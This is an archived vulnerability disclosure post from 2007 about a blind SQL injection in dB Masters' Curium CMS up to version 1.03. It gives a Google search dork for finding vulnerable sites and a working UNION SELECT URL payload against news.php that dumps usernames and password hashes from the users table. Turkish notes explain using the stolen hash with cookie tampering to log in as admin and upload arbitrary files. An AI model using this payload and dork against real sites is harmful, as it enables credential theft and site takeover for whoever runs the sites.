Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Flipper Poll v1.1.0 (poll.php) remote file include vuln

EQdkp <= 1.3.1 Referer Spoof to access to SQL Database

CoD2: DreamStats <= 4.2 (index.php) Remote File Include Vulnerability

Photo Galerie Standard <= 1.1 (view.php) Remote SQL Injection Vulnerability

From:	ajannhwt_(at)_hotmail.com <ajannhwt_(at)_hotmail.com>
Date:	03.02.2007
Subject:	dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability

*******************************************************************************
# Title   :  dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.dbmasters.net
# $$      :  Free
# Dork    :  Powered by dB Masters' Curium CMS 1
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+dB+Masters%27+Curium+CMS+1&
hl=tr&start=0&sa=N

# Info    :  \*Ele gecirdiginiz hash ve kullanici adi ile once siteye register
             olarak cookie ile oynayarak admin yetkisiyle login olabilirsiniz
             Upload bolumunden rahatlikla istediginiz uzantida dosyayi upload
             edebilirsiniz.Uye olurken bazilarinda maile aktivasyon gelir.  

#Lamerlere:  \*Bir siteye rapor yollamakla o konuda cok bilgili olduumuz anla-
             mina gelmez.Ben sahsen hicbirsey bilmedigim kanisindeyken goru-
             yorumki bircok insan hakikaten birseyi basardigini saniyor.
             Bunada burada deginmek istedim.
             Birakin sizi baskasi ovsun.

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news.php?id=-1&c_id=[SQL]

Example:

//news.php?id=-1&s_id=-1%20union%20select%200,1,
concat(username,char(32),password),3,4,5,6,7,8,9,
0%20from%20cm_users/*

[[/SQL]]

""""""""""""""
"""""""
# ajann,Turkey
# ...

# Im not Hacker!